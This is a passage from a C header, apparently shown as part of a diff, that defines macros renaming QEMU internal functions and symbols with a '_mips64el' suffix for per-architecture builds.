helper_vfp_ultod helper_vfp_ultod_mips64el +#define helper_vfp_ultos helper_vfp_ultos_mips64el +#define helper_vfp_uqtod helper_vfp_uqtod_mips64el +#define helper_vfp_uqtos helper_vfp_uqtos_mips64el +#define helper_wfe helper_wfe_mips64el +#define helper_wfi helper_wfi_mips64el +#define hex2decimal hex2decimal_mips64el +#define hw_breakpoint_update hw_breakpoint_update_mips64el +#define hw_breakpoint_update_all hw_breakpoint_update_all_mips64el +#define hw_watchpoint_update hw_watchpoint_update_mips64el +#define hw_watchpoint_update_all hw_watchpoint_update_all_mips64el +#define _init _init_mips64el +#define init_cpreg_list init_cpreg_list_mips64el +#define init_lists init_lists_mips64el +#define input_type_enum input_type_enum_mips64el +#define int128_2_64 int128_2_64_mips64el +#define int128_add int128_add_mips64el +#define int128_addto int128_addto_mips64el +#define int128_and int128_and_mips64el +#define int128_eq int128_eq_mips64el +#define int128_ge int128_ge_mips64el +#define int128_get64 int128_get64_mips64el +#define int128_gt int128_gt_mips64el +#define int128_le int128_le_mips64el +#define int128_lt int128_lt_mips64el +#define int128_make64 int128_make64_mips64el +#define int128_max int128_max_mips64el +#define int128_min int128_min_mips64el +#define int128_ne int128_ne_mips64el +#define int128_neg int128_neg_mips64el +#define int128_nz int128_nz_mips64el +#define int128_rshift int128_rshift_mips64el +#define int128_sub int128_sub_mips64el +#define int128_subfrom int128_subfrom_mips64el +#define int128_zero int128_zero_mips64el +#define int16_to_float32 int16_to_float32_mips64el +#define int16_to_float64 int16_to_float64_mips64el +#define int32_to_float128 int32_to_float128_mips64el +#define int32_to_float32 int32_to_float32_mips64el +#define int32_to_float64 int32_to_float64_mips64el +#define int32_to_floatx80 int32_to_floatx80_mips64el +#define int64_to_float128 int64_to_float128_mips64el +#define int64_to_float32 int64_to_float32_mips64el +#define int64_to_float64 int64_to_float64_mips64el +#define int64_to_floatx80 int64_to_floatx80_mips64el +#define invalidate_and_set_dirty invalidate_and_set_dirty_mips64el +#define invalidate_page_bitmap invalidate_page_bitmap_mips64el +#define io_mem_read io_mem_read_mips64el +#define io_mem_write io_mem_write_mips64el +#define io_readb io_readb_mips64el +#define io_readl io_readl_mips64el +#define io_readq io_readq_mips64el +#define io_readw io_readw_mips64el +#define iotlb_to_region iotlb_to_region_mips64el +#define io_writeb io_writeb_mips64el +#define io_writel io_writel_mips64el +#define io_writeq io_writeq_mips64el +#define io_writew io_writew_mips64el +#define is_a64 is_a64_mips64el +#define is_help_option is_help_option_mips64el +#define isr_read isr_read_mips64el +#define is_valid_option_list is_valid_option_list_mips64el +#define iwmmxt_load_creg iwmmxt_load_creg_mips64el +#define iwmmxt_load_reg iwmmxt_load_reg_mips64el +#define iwmmxt_store_creg iwmmxt_store_creg_mips64el +#define iwmmxt_store_reg iwmmxt_store_reg_mips64el +#define __jit_debug_descriptor __jit_debug_descriptor_mips64el +#define __jit_debug_register_code __jit_debug_register_code_mips64el +#define kvm_to_cpreg_id kvm_to_cpreg_id_mips64el +#define last_ram_offset last_ram_offset_mips64el +#define ldl_be_p ldl_be_p_mips64el +#define ldl_be_phys ldl_be_phys_mips64el +#define ldl_he_p ldl_he_p_mips64el +#define ldl_le_p ldl_le_p_mips64el +#define ldl_le_phys ldl_le_phys_mips64el +#define ldl_phys ldl_phys_mips64el +#define ldl_phys_internal ldl_phys_internal_mips64el +#define ldq_be_p ldq_be_p_mips64el +#define ldq_be_phys ldq_be_phys_mips64el +#define ldq_he_p ldq_he_p_mips64el +#define ldq_le_p ldq_le_p_mips64el +#define ldq_le_phys ldq_le_phys_mips64el +#define ldq_phys ldq_phys_mips64el +#define ldq_phys_internal ldq_phys_internal_mips64el +#define ldst_name ldst_name_mips64el +#define ldub_p ldub_p_mips64el +#define ldub_phys ldub_phys_mips64el +#define lduw_be_p lduw_be_p_mips64el +#define lduw_be_phys lduw_be_phys_mips64el +#define lduw_he_p lduw_he_p_mips64el +#define lduw_le_p lduw_le_p_mips64el +#define lduw_le_phys lduw_le_phys_mips64el +#define lduw_phys lduw_phys_mips64el +#define lduw_phys_internal lduw_phys_internal_mips64el +#define le128 le128_mips64el +#define linked_bp_matches linked_bp_matches_mips64el +#define listener_add_address_space listener_add_address_space_mips64el +#define load_cpu_offset load_cpu_offset_mips64el +#define load_reg load_reg_mips64el +#define load_reg_var load_reg_var_mips64el +#define log_cpu_state log_cpu_state_mips64el +#define lpae_cp_reginfo lpae_cp_reginfo_mips64el +#define lt128 lt128_mips64el +#define machine_class_init machine_class_init_mips64el +#define machine_finalize machine_finalize_mips64el +#define machine_info machine_info_mips64el +#define machine_initfn machine_initfn_mips64el +#define machine_register_types machine_register_types_mips64el +#define machvirt_init machvirt_init_mips64el +#define machvirt_machine_init machvirt_machine_init_mips64el +#define maj maj_mips64el +#define mapping_conflict mapping_conflict_mips64el +#define mapping_contiguous mapping_contiguous_mips64el +#define mapping_have_same_region mapping_have_same_region_mips64el +#define mapping_merge mapping_merge_mips64el +#define mem_add mem_add_mips64el +#define mem_begin mem_begin_mips64el +#define mem_commit mem_commit_mips64el +#define memory_access_is_direct memory_access_is_direct_mips64el +#define memory_access_size memory_access_size_mips64el +#define memory_init memory_init_mips64el +#define memory_listener_match memory_listener_match_mips64el +#define memory_listener_register memory_listener_register_mips64el +#define memory_listener_unregister memory_listener_unregister_mips64el +#define memory_map_init memory_map_init_mips64el +#define memory_mapping_filter memory_mapping_filter_mips64el +#define memory_mapping_list_add_mapping_sorted memory_mapping_list_add_mapping_sorted_mips64el +#define memory_mapping_list_add_merge_sorted memory_mapping_list_add_merge_sorted_mips64el +#define memory_mapping_list_free memory_mapping_list_free_mips64el +#define memory_mapping_list_init memory_mapping_list_init_mips64el +#define memory_region_access_valid memory_region_access_valid_mips64el +#define memory_region_add_subregion memory_region_add_subregion_mips64el +#define memory_region_add_subregion_common memory_region_add_subregion_common_mips64el +#define memory_region_add_subregion_overlap memory_region_add_subregion_overlap_mips64el +#define memory_region_big_endian memory_region_big_endian_mips64el +#define memory_region_clear_pending memory_region_clear_pending_mips64el +#define memory_region_del_subregion memory_region_del_subregion_mips64el +#define memory_region_destructor_alias memory_region_destructor_alias_mips64el +#define memory_region_destructor_none memory_region_destructor_none_mips64el +#define memory_region_destructor_ram memory_region_destructor_ram_mips64el +#define memory_region_destructor_ram_from_ptr memory_region_destructor_ram_from_ptr_mips64el +#define memory_region_dispatch_read memory_region_dispatch_read_mips64el +#define memory_region_dispatch_read1 memory_region_dispatch_read1_mips64el +#define memory_region_dispatch_write memory_region_dispatch_write_mips64el +#define memory_region_escape_name memory_region_escape_name_mips64el +#define memory_region_finalize memory_region_finalize_mips64el +#define memory_region_find memory_region_find_mips64el +#define memory_region_get_addr memory_region_get_addr_mips64el +#define memory_region_get_alignment memory_region_get_alignment_mips64el +#define memory_region_get_container memory_region_get_container_mips64el +#define memory_region_get_fd memory_region_get_fd_mips64el +#define memory_region_get_may_overlap memory_region_get_may_overlap_mips64el +#define memory_region_get_priority memory_region_get_priority_mips64el +#define memory_region_get_ram_addr memory_region_get_ram_addr_mips64el +#define memory_region_get_ram_ptr memory_region_get_ram_ptr_mips64el +#define memory_region_get_size memory_region_get_size_mips64el +#define memory_region_info memory_region_info_mips64el +#define memory_region_init memory_region_init_mips64el +#define memory_region_init_alias memory_region_init_alias_mips64el +#define memory_region_initfn memory_region_initfn_mips64el +#define memory_region_init_io memory_region_init_io_mips64el +#define memory_region_init_ram memory_region_init_ram_mips64el +#define memory_region_init_ram_ptr memory_region_init_ram_ptr_mips64el +#define memory_region_init_reservation memory_region_init_reservation_mips64el +#define memory_region_is_iommu memory_region_is_iommu_mips64el +#define memory_region_is_logging memory_region_is_logging_mips64el +#define memory_region_is_mapped memory_region_is_mapped_mips64el +#define memory_region_is_ram memory_region_is_ram_mips64el +#define memory_region_is_rom memory_region_is_rom_mips64el +#define memory_region_is_romd memory_region_is_romd_mips64el +#define memory_region_is_skip_dump memory_region_is_skip_dump_mips64el +#define memory_region_is_unassigned memory_region_is_unassigned_mips64el +#define memory_region_name memory_region_name_mips64el +#define memory_region_need_escape memory_region_need_escape_mips64el +#define memory_region_oldmmio_read_accessor memory_region_oldmmio_read_accessor_mips64el +#define memory_region_oldmmio_write_accessor memory_region_oldmmio_write_accessor_mips64el +#define memory_region_present memory_region_present_mips64el +#define memory_region_read_accessor memory_region_read_accessor_mips64el +#define memory_region_readd_subregion memory_region_readd_subregion_mips64el +#define memory_region_ref memory_region_ref_mips64el +#define memory_region_resolve_container memory_region_resolve_container_mips64el +#define memory_region_rom_device_set_romd memory_region_rom_device_set_romd_mips64el +#define memory_region_section_get_iotlb memory_region_section_get_iotlb_mips64el +#define memory_region_set_address memory_region_set_address_mips64el +#define memory_region_set_alias_offset memory_region_set_alias_offset_mips64el +#define memory_region_set_enabled memory_region_set_enabled_mips64el +#define memory_region_set_readonly memory_region_set_readonly_mips64el +#define memory_region_set_skip_dump memory_region_set_skip_dump_mips64el +#define memory_region_size memory_region_size_mips64el +#define memory_region_to_address_space memory_region_to_address_space_mips64el +#define memory_region_transaction_begin memory_region_transaction_begin_mips64el +#define memory_region_transaction_commit memory_region_transaction_commit_mips64el +#define memory_region_unref memory_region_unref_mips64el +#define memory_region_update_container_subregions memory_region_update_container_subregions_mips64el +#define memory_region_write_accessor memory_region_write_accessor_mips64el +#define memory_region_wrong_endianness memory_region_wrong_endianness_mips64el +#define memory_try_enable_merging memory_try_enable_merging_mips64el +#define module_call_init module_call_init_mips64el +#define module_load module_load_mips64el +#define mpidr_cp_reginfo mpidr_cp_reginfo_mips64el +#define mpidr_read mpidr_read_mips64el +#define msr_mask msr_mask_mips64el +#define mul128By64To192 mul128By64To192_mips64el +#define mul128To256 mul128To256_mips64el +#define mul64To128 mul64To128_mips64el +#define muldiv64 muldiv64_mips64el +#define neon_2rm_is_float_op neon_2rm_is_float_op_mips64el +#define neon_2rm_sizes neon_2rm_sizes_mips64el +#define neon_3r_sizes neon_3r_sizes_mips64el +#define neon_get_scalar neon_get_scalar_mips64el +#define neon_load_reg neon_load_reg_mips64el +#define neon_load_reg64 neon_load_reg64_mips64el +#define neon_load_scratch neon_load_scratch_mips64el +#define neon_ls_element_type neon_ls_element_type_mips64el +#define neon_reg_offset neon_reg_offset_mips64el +#define neon_store_reg neon_store_reg_mips64el +#define neon_store_reg64 neon_store_reg64_mips64el +#define neon_store_scratch neon_store_scratch_mips64el +#define new_ldst_label new_ldst_label_mips64el +#define next_list next_list_mips64el +#define normalizeFloat128Subnormal normalizeFloat128Subnormal_mips64el +#define normalizeFloat16Subnormal normalizeFloat16Subnormal_mips64el +#define normalizeFloat32Subnormal normalizeFloat32Subnormal_mips64el +#define normalizeFloat64Subnormal normalizeFloat64Subnormal_mips64el +#define normalizeFloatx80Subnormal normalizeFloatx80Subnormal_mips64el +#define normalizeRoundAndPackFloat128 normalizeRoundAndPackFloat128_mips64el +#define normalizeRoundAndPackFloat32 normalizeRoundAndPackFloat32_mips64el +#define normalizeRoundAndPackFloat64 normalizeRoundAndPackFloat64_mips64el +#define normalizeRoundAndPackFloatx80 normalizeRoundAndPackFloatx80_mips64el +#define not_v6_cp_reginfo not_v6_cp_reginfo_mips64el +#define not_v7_cp_reginfo not_v7_cp_reginfo_mips64el +#define not_v8_cp_reginfo not_v8_cp_reginfo_mips64el +#define object_child_foreach object_child_foreach_mips64el +#define object_class_foreach object_class_foreach_mips64el +#define object_class_foreach_tramp object_class_foreach_tramp_mips64el +#define object_class_get_list object_class_get_list_mips64el +#define object_class_get_list_tramp object_class_get_list_tramp_mips64el +#define object_class_get_parent object_class_get_parent_mips64el +#define object_deinit object_deinit_mips64el +#define object_dynamic_cast object_dynamic_cast_mips64el +#define object_finalize object_finalize_mips64el +#define object_finalize_child_property object_finalize_child_property_mips64el +#define object_get_child_property object_get_child_property_mips64el +#define object_get_link_property object_get_link_property_mips64el +#define object_get_root object_get_root_mips64el +#define object_initialize_with_type object_initialize_with_type_mips64el +#define object_init_with_type object_init_with_type_mips64el +#define object_instance_init object_instance_init_mips64el +#define object_new_with_type object_new_with_type_mips64el +#define object_post_init_with_type object_post_init_with_type_mips64el +#define object_property_add_alias object_property_add_alias_mips64el +#define object_property_add_link object_property_add_link_mips64el +#define object_property_add_uint16_ptr object_property_add_uint16_ptr_mips64el +#define object_property_add_uint32_ptr object_property_add_uint32_ptr_mips64el +#define object_property_add_uint64_ptr object_property_add_uint64_ptr_mips64el +#define object_property_add_uint8_ptr object_property_add_uint8_ptr_mips64el +#define object_property_allow_set_link object_property_allow_set_link_mips64el +#define object_property_del object_property_del_mips64el +#define object_property_del_all object_property_del_all_mips64el +#define object_property_find object_property_find_mips64el +#define object_property_get object_property_get_mips64el +#define object_property_get_bool object_property_get_bool_mips64el +#define object_property_get_int object_property_get_int_mips64el +#define object_property_get_link object_property_get_link_mips64el +#define object_property_get_qobject object_property_get_qobject_mips64el +#define object_property_get_str object_property_get_str_mips64el +#define object_property_get_type object_property_get_type_mips64el +#define object_property_is_child object_property_is_child_mips64el +#define object_property_set object_property_set_mips64el +#define object_property_set_description object_property_set_description_mips64el +#define object_property_set_link object_property_set_link_mips64el +#define object_property_set_qobject object_property_set_qobject_mips64el +#define object_release_link_property object_release_link_property_mips64el +#define object_resolve_abs_path object_resolve_abs_path_mips64el +#define object_resolve_child_property object_resolve_child_property_mips64el +#define object_resolve_link object_resolve_link_mips64el +#define object_resolve_link_property object_resolve_link_property_mips64el +#define object_resolve_partial_path object_resolve_partial_path_mips64el +#define object_resolve_path object_resolve_path_mips64el +#define object_resolve_path_component object_resolve_path_component_mips64el +#define object_resolve_path_type object_resolve_path_type_mips64el +#define object_set_link_property object_set_link_property_mips64el +#define object_unparent object_unparent_mips64el +#define omap_cachemaint_write omap_cachemaint_write_mips64el +#define omap_cp_reginfo omap_cp_reginfo_mips64el +#define omap_threadid_write omap_threadid_write_mips64el +#define omap_ticonfig_write omap_ticonfig_write_mips64el +#define omap_wfi_write omap_wfi_write_mips64el +#define op_bits op_bits_mips64el +#define open_modeflags open_modeflags_mips64el +#define op_to_mov op_to_mov_mips64el +#define op_to_movi op_to_movi_mips64el +#define output_type_enum output_type_enum_mips64el +#define packFloat128 packFloat128_mips64el +#define packFloat16 packFloat16_mips64el +#define packFloat32 packFloat32_mips64el +#define packFloat64 packFloat64_mips64el +#define packFloatx80 packFloatx80_mips64el +#define page_find page_find_mips64el +#define page_find_alloc page_find_alloc_mips64el +#define page_flush_tb page_flush_tb_mips64el +#define page_flush_tb_1 page_flush_tb_1_mips64el +#define page_init page_init_mips64el +#define page_size_init page_size_init_mips64el +#define par par_mips64el +#define parse_array parse_array_mips64el +#define parse_error parse_error_mips64el +#define parse_escape parse_escape_mips64el +#define parse_keyword parse_keyword_mips64el +#define parse_literal parse_literal_mips64el +#define parse_object parse_object_mips64el +#define parse_optional parse_optional_mips64el +#define parse_option_bool parse_option_bool_mips64el +#define parse_option_number parse_option_number_mips64el +#define parse_option_size parse_option_size_mips64el +#define parse_pair parse_pair_mips64el +#define parser_context_free parser_context_free_mips64el +#define parser_context_new parser_context_new_mips64el +#define parser_context_peek_token parser_context_peek_token_mips64el +#define parser_context_pop_token parser_context_pop_token_mips64el +#define parser_context_restore parser_context_restore_mips64el +#define parser_context_save parser_context_save_mips64el +#define parse_str parse_str_mips64el +#define parse_type_bool parse_type_bool_mips64el +#define parse_type_int parse_type_int_mips64el +#define parse_type_number parse_type_number_mips64el +#define parse_type_size parse_type_size_mips64el +#define parse_type_str parse_type_str_mips64el +#define parse_value parse_value_mips64el +#define par_write par_write_mips64el +#define patch_reloc patch_reloc_mips64el +#define phys_map_node_alloc phys_map_node_alloc_mips64el +#define phys_map_node_reserve phys_map_node_reserve_mips64el +#define phys_mem_alloc phys_mem_alloc_mips64el +#define phys_mem_set_alloc phys_mem_set_alloc_mips64el +#define phys_page_compact phys_page_compact_mips64el +#define phys_page_compact_all phys_page_compact_all_mips64el +#define phys_page_find phys_page_find_mips64el +#define phys_page_set phys_page_set_mips64el +#define phys_page_set_level phys_page_set_level_mips64el +#define phys_section_add phys_section_add_mips64el +#define phys_section_destroy phys_section_destroy_mips64el +#define phys_sections_free phys_sections_free_mips64el +#define pickNaN pickNaN_mips64el +#define pickNaNMulAdd pickNaNMulAdd_mips64el +#define pmccfiltr_write pmccfiltr_write_mips64el +#define pmccntr_read pmccntr_read_mips64el +#define pmccntr_sync pmccntr_sync_mips64el +#define pmccntr_write pmccntr_write_mips64el +#define pmccntr_write32 pmccntr_write32_mips64el +#define pmcntenclr_write pmcntenclr_write_mips64el +#define pmcntenset_write pmcntenset_write_mips64el +#define pmcr_write pmcr_write_mips64el +#define pmintenclr_write pmintenclr_write_mips64el +#define pmintenset_write pmintenset_write_mips64el +#define pmovsr_write pmovsr_write_mips64el +#define pmreg_access pmreg_access_mips64el +#define pmsav5_cp_reginfo pmsav5_cp_reginfo_mips64el +#define pmsav5_data_ap_read pmsav5_data_ap_read_mips64el +#define pmsav5_data_ap_write pmsav5_data_ap_write_mips64el +#define pmsav5_insn_ap_read pmsav5_insn_ap_read_mips64el +#define pmsav5_insn_ap_write pmsav5_insn_ap_write_mips64el +#define pmuserenr_write pmuserenr_write_mips64el +#define pmxevtyper_write pmxevtyper_write_mips64el +#define print_type_bool print_type_bool_mips64el +#define print_type_int print_type_int_mips64el +#define print_type_number print_type_number_mips64el +#define print_type_size print_type_size_mips64el +#define print_type_str print_type_str_mips64el +#define propagateFloat128NaN propagateFloat128NaN_mips64el +#define propagateFloat32MulAddNaN propagateFloat32MulAddNaN_mips64el +#define propagateFloat32NaN propagateFloat32NaN_mips64el +#define propagateFloat64MulAddNaN propagateFloat64MulAddNaN_mips64el +#define propagateFloat64NaN propagateFloat64NaN_mips64el +#define propagateFloatx80NaN propagateFloatx80NaN_mips64el +#define property_get_alias property_get_alias_mips64el +#define property_get_bool property_get_bool_mips64el +#define property_get_str property_get_str_mips64el +#define property_get_uint16_ptr property_get_uint16_ptr_mips64el +#define property_get_uint32_ptr property_get_uint32_ptr_mips64el +#define property_get_uint64_ptr property_get_uint64_ptr_mips64el +#define property_get_uint8_ptr property_get_uint8_ptr_mips64el +#define property_release_alias property_release_alias_mips64el +#define property_release_bool property_release_bool_mips64el +#define property_release_str property_release_str_mips64el +#define property_resolve_alias property_resolve_alias_mips64el +#define property_set_alias property_set_alias_mips64el +#define property_set_bool property_set_bool_mips64el +#define property_set_str property_set_str_mips64el +#define pstate_read pstate_read_mips64el +#define pstate_write pstate_write_mips64el +#define pxa250_initfn pxa250_initfn_mips64el +#define pxa255_initfn pxa255_initfn_mips64el +#define pxa260_initfn pxa260_initfn_mips64el +#define pxa261_initfn pxa261_initfn_mips64el +#define pxa262_initfn pxa262_initfn_mips64el +#define pxa270a0_initfn pxa270a0_initfn_mips64el +#define pxa270a1_initfn pxa270a1_initfn_mips64el +#define pxa270b0_initfn pxa270b0_initfn_mips64el +#define pxa270b1_initfn pxa270b1_initfn_mips64el +#define pxa270c0_initfn pxa270c0_initfn_mips64el +#define pxa270c5_initfn pxa270c5_initfn_mips64el +#define qapi_dealloc_end_implicit_struct qapi_dealloc_end_implicit_struct_mips64el +#define qapi_dealloc_end_list qapi_dealloc_end_list_mips64el +#define qapi_dealloc_end_struct qapi_dealloc_end_struct_mips64el +#define qapi_dealloc_get_visitor qapi_dealloc_get_visitor_mips64el +#define qapi_dealloc_next_list qapi_dealloc_next_list_mips64el +#define qapi_dealloc_pop qapi_dealloc_pop_mips64el +#define qapi_dealloc_push qapi_dealloc_push_mips64el +#define qapi_dealloc_start_implicit_struct qapi_dealloc_start_implicit_struct_mips64el +#define qapi_dealloc_start_list qapi_dealloc_start_list_mips64el +#define qapi_dealloc_start_struct qapi_dealloc_start_struct_mips64el +#define qapi_dealloc_start_union qapi_dealloc_start_union_mips64el +#define qapi_dealloc_type_bool qapi_dealloc_type_bool_mips64el +#define qapi_dealloc_type_enum qapi_dealloc_type_enum_mips64el +#define qapi_dealloc_type_int qapi_dealloc_type_int_mips64el +#define qapi_dealloc_type_number qapi_dealloc_type_number_mips64el +#define qapi_dealloc_type_size qapi_dealloc_type_size_mips64el +#define qapi_dealloc_type_str qapi_dealloc_type_str_mips64el +#define qapi_dealloc_visitor_cleanup qapi_dealloc_visitor_cleanup_mips64el +#define qapi_dealloc_visitor_new qapi_dealloc_visitor_new_mips64el +#define qapi_free_boolList qapi_free_boolList_mips64el +#define qapi_free_ErrorClassList qapi_free_ErrorClassList_mips64el +#define qapi_free_int16List qapi_free_int16List_mips64el +#define qapi_free_int32List qapi_free_int32List_mips64el +#define qapi_free_int64List qapi_free_int64List_mips64el +#define qapi_free_int8List qapi_free_int8List_mips64el +#define qapi_free_intList qapi_free_intList_mips64el +#define qapi_free_numberList qapi_free_numberList_mips64el +#define qapi_free_strList qapi_free_strList_mips64el +#define qapi_free_uint16List qapi_free_uint16List_mips64el +#define qapi_free_uint32List qapi_free_uint32List_mips64el +#define qapi_free_uint64List qapi_free_uint64List_mips64el +#define qapi_free_uint8List qapi_free_uint8List_mips64el +#define qapi_free_X86CPUFeatureWordInfo qapi_free_X86CPUFeatureWordInfo_mips64el +#define qapi_free_X86CPUFeatureWordInfoList qapi_free_X86CPUFeatureWordInfoList_mips64el +#define qapi_free_X86CPURegister32List qapi_free_X86CPURegister32List_mips64el +#define qbool_destroy_obj qbool_destroy_obj_mips64el +#define qbool_from_int qbool_from_int_mips64el +#define qbool_get_int qbool_get_int_mips64el +#define qbool_type qbool_type_mips64el +#define qbus_create qbus_create_mips64el +#define qbus_create_inplace qbus_create_inplace_mips64el +#define qbus_finalize qbus_finalize_mips64el +#define qbus_initfn qbus_initfn_mips64el +#define qbus_realize qbus_realize_mips64el +#define qdev_create qdev_create_mips64el +#define qdev_get_type qdev_get_type_mips64el +#define qdev_register_types qdev_register_types_mips64el +#define qdev_set_parent_bus qdev_set_parent_bus_mips64el +#define qdev_try_create qdev_try_create_mips64el +#define qdict_add_key qdict_add_key_mips64el +#define qdict_array_split qdict_array_split_mips64el +#define qdict_clone_shallow qdict_clone_shallow_mips64el +#define qdict_del qdict_del_mips64el +#define qdict_destroy_obj qdict_destroy_obj_mips64el +#define qdict_entry_key qdict_entry_key_mips64el +#define qdict_entry_value qdict_entry_value_mips64el +#define qdict_extract_subqdict qdict_extract_subqdict_mips64el +#define qdict_find qdict_find_mips64el +#define qdict_first qdict_first_mips64el +#define qdict_flatten qdict_flatten_mips64el +#define qdict_flatten_qdict qdict_flatten_qdict_mips64el +#define qdict_flatten_qlist qdict_flatten_qlist_mips64el +#define qdict_get qdict_get_mips64el +#define qdict_get_bool qdict_get_bool_mips64el +#define qdict_get_double qdict_get_double_mips64el +#define qdict_get_int qdict_get_int_mips64el +#define qdict_get_obj qdict_get_obj_mips64el +#define qdict_get_qdict qdict_get_qdict_mips64el +#define qdict_get_qlist qdict_get_qlist_mips64el +#define qdict_get_str qdict_get_str_mips64el +#define qdict_get_try_bool qdict_get_try_bool_mips64el +#define qdict_get_try_int qdict_get_try_int_mips64el +#define qdict_get_try_str qdict_get_try_str_mips64el +#define qdict_haskey qdict_haskey_mips64el +#define qdict_has_prefixed_entries qdict_has_prefixed_entries_mips64el +#define qdict_iter qdict_iter_mips64el +#define qdict_join qdict_join_mips64el +#define qdict_new qdict_new_mips64el +#define qdict_next qdict_next_mips64el +#define qdict_next_entry qdict_next_entry_mips64el +#define qdict_put_obj qdict_put_obj_mips64el +#define qdict_size qdict_size_mips64el +#define qdict_type qdict_type_mips64el +#define qemu_clock_get_us qemu_clock_get_us_mips64el +#define qemu_clock_ptr qemu_clock_ptr_mips64el +#define qemu_clocks qemu_clocks_mips64el +#define qemu_get_cpu qemu_get_cpu_mips64el +#define qemu_get_guest_memory_mapping qemu_get_guest_memory_mapping_mips64el +#define qemu_get_guest_simple_memory_mapping qemu_get_guest_simple_memory_mapping_mips64el +#define qemu_get_ram_block qemu_get_ram_block_mips64el +#define qemu_get_ram_block_host_ptr qemu_get_ram_block_host_ptr_mips64el +#define qemu_get_ram_fd qemu_get_ram_fd_mips64el +#define qemu_get_ram_ptr qemu_get_ram_ptr_mips64el +#define qemu_host_page_mask qemu_host_page_mask_mips64el +#define qemu_host_page_size qemu_host_page_size_mips64el +#define qemu_init_vcpu qemu_init_vcpu_mips64el +#define qemu_ld_helpers qemu_ld_helpers_mips64el +#define qemu_log_close qemu_log_close_mips64el +#define qemu_log_enabled qemu_log_enabled_mips64el +#define qemu_log_flush qemu_log_flush_mips64el +#define qemu_loglevel_mask qemu_loglevel_mask_mips64el +#define qemu_log_vprintf qemu_log_vprintf_mips64el +#define qemu_oom_check qemu_oom_check_mips64el +#define qemu_parse_fd qemu_parse_fd_mips64el +#define qemu_ram_addr_from_host qemu_ram_addr_from_host_mips64el +#define qemu_ram_addr_from_host_nofail qemu_ram_addr_from_host_nofail_mips64el +#define qemu_ram_alloc qemu_ram_alloc_mips64el +#define qemu_ram_alloc_from_ptr qemu_ram_alloc_from_ptr_mips64el +#define qemu_ram_foreach_block qemu_ram_foreach_block_mips64el +#define qemu_ram_free qemu_ram_free_mips64el +#define qemu_ram_free_from_ptr qemu_ram_free_from_ptr_mips64el +#define qemu_ram_ptr_length qemu_ram_ptr_length_mips64el +#define qemu_ram_remap qemu_ram_remap_mips64el +#define qemu_ram_setup_dump qemu_ram_setup_dump_mips64el +#define qemu_ram_unset_idstr qemu_ram_unset_idstr_mips64el +#define qemu_real_host_page_size qemu_real_host_page_size_mips64el +#define qemu_st_helpers qemu_st_helpers_mips64el +#define qemu_tcg_init_vcpu qemu_tcg_init_vcpu_mips64el +#define qemu_try_memalign qemu_try_memalign_mips64el +#define qentry_destroy qentry_destroy_mips64el +#define qerror_human qerror_human_mips64el +#define qerror_report qerror_report_mips64el +#define qerror_report_err qerror_report_err_mips64el +#define qfloat_destroy_obj qfloat_destroy_obj_mips64el +#define qfloat_from_double qfloat_from_double_mips64el +#define qfloat_get_double qfloat_get_double_mips64el +#define qfloat_type qfloat_type_mips64el +#define qint_destroy_obj qint_destroy_obj_mips64el +#define qint_from_int qint_from_int_mips64el +#define qint_get_int qint_get_int_mips64el +#define qint_type qint_type_mips64el +#define qlist_append_obj qlist_append_obj_mips64el +#define qlist_copy qlist_copy_mips64el +#define qlist_copy_elem qlist_copy_elem_mips64el +#define qlist_destroy_obj qlist_destroy_obj_mips64el +#define qlist_empty qlist_empty_mips64el +#define qlist_entry_obj qlist_entry_obj_mips64el +#define qlist_first qlist_first_mips64el +#define qlist_iter qlist_iter_mips64el +#define qlist_new qlist_new_mips64el +#define qlist_next qlist_next_mips64el +#define qlist_peek qlist_peek_mips64el +#define qlist_pop qlist_pop_mips64el +#define qlist_size qlist_size_mips64el +#define qlist_size_iter qlist_size_iter_mips64el +#define qlist_type qlist_type_mips64el +#define qmp_input_end_implicit_struct qmp_input_end_implicit_struct_mips64el +#define qmp_input_end_list qmp_input_end_list_mips64el +#define qmp_input_end_struct qmp_input_end_struct_mips64el +#define qmp_input_get_next_type qmp_input_get_next_type_mips64el +#define qmp_input_get_object qmp_input_get_object_mips64el +#define qmp_input_get_visitor qmp_input_get_visitor_mips64el +#define qmp_input_next_list qmp_input_next_list_mips64el +#define qmp_input_optional qmp_input_optional_mips64el +#define qmp_input_pop qmp_input_pop_mips64el +#define qmp_input_push qmp_input_push_mips64el +#define qmp_input_start_implicit_struct qmp_input_start_implicit_struct_mips64el +#define qmp_input_start_list qmp_input_start_list_mips64el +#define qmp_input_start_struct qmp_input_start_struct_mips64el +#define qmp_input_type_bool qmp_input_type_bool_mips64el +#define qmp_input_type_int qmp_input_type_int_mips64el +#define qmp_input_type_number qmp_input_type_number_mips64el +#define qmp_input_type_str qmp_input_type_str_mips64el +#define qmp_input_visitor_cleanup qmp_input_visitor_cleanup_mips64el +#define qmp_input_visitor_new qmp_input_visitor_new_mips64el +#define qmp_input_visitor_new_strict qmp_input_visitor_new_strict_mips64el +#define qmp_output_add_obj qmp_output_add_obj_mips64el +#define qmp_output_end_list qmp_output_end_list_mips64el +#define qmp_output_end_struct qmp_output_end_struct_mips64el +#define qmp_output_first qmp_output_first_mips64el +#define qmp_output_get_qobject qmp_output_get_qobject_mips64el +#define qmp_output_get_visitor qmp_output_get_visitor_mips64el +#define qmp_output_last qmp_output_last_mips64el +#define qmp_output_next_list qmp_output_next_list_mips64el +#define qmp_output_pop qmp_output_pop_mips64el +#define qmp_output_push_obj qmp_output_push_obj_mips64el +#define qmp_output_start_list qmp_output_start_list_mips64el +#define qmp_output_start_struct qmp_output_start_struct_mips64el +#define qmp_output_type_bool qmp_output_type_bool_mips64el +#define qmp_output_type_int qmp_output_type_int_mips64el +#define qmp_output_type_number qmp_output_type_number_mips64el +#define qmp_output_type_str qmp_output_type_str_mips64el +#define qmp_output_visitor_cleanup qmp_output_visitor_cleanup_mips64el +#define qmp_output_visitor_new qmp_output_visitor_new_mips64el +#define qobject_decref qobject_decref_mips64el +#define qobject_to_qbool qobject_to_qbool_mips64el +#define qobject_to_qdict qobject_to_qdict_mips64el +#define qobject_to_qfloat qobject_to_qfloat_mips64el +#define qobject_to_qint qobject_to_qint_mips64el +#define qobject_to_qlist qobject_to_qlist_mips64el +#define qobject_to_qstring qobject_to_qstring_mips64el +#define qobject_type qobject_type_mips64el +#define qstring_append qstring_append_mips64el +#define qstring_append_chr qstring_append_chr_mips64el +#define qstring_append_int qstring_append_int_mips64el +#define qstring_destroy_obj qstring_destroy_obj_mips64el +#define qstring_from_escaped_str qstring_from_escaped_str_mips64el +#define qstring_from_str qstring_from_str_mips64el +#define qstring_from_substr qstring_from_substr_mips64el +#define qstring_get_length qstring_get_length_mips64el +#define qstring_get_str qstring_get_str_mips64el +#define 